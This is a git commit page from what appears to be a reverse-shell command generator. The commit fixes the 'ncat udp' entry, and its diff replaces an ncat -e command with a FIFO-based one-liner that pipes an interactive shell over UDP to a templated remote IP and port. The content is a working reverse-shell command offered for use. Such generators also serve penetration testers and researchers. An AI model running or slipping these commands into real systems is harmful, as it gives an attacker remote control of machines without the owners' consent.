Fixing ncat udp command.

The previous command was actually using TCP. Ncat's -u flag switches to UDP, but this doesn't appear to work with the -e flag, as UDP doesn't establish a "connection" to trigger the execution. Using a FIFO solves this issue.
This commit is contained in:
earthenvessel 2021-08-12 10:14:26 -04:00 committed by GitHub
parent 470ef407b6
commit 4a0a51405c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -76,7 +76,7 @@ const reverseShellCommands = withCommandType(
},
{
"name": "ncat udp",
"command": "ncat {ip} {port} -e {shell}",
"command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f",
"meta": ["linux", "mac"]
},
{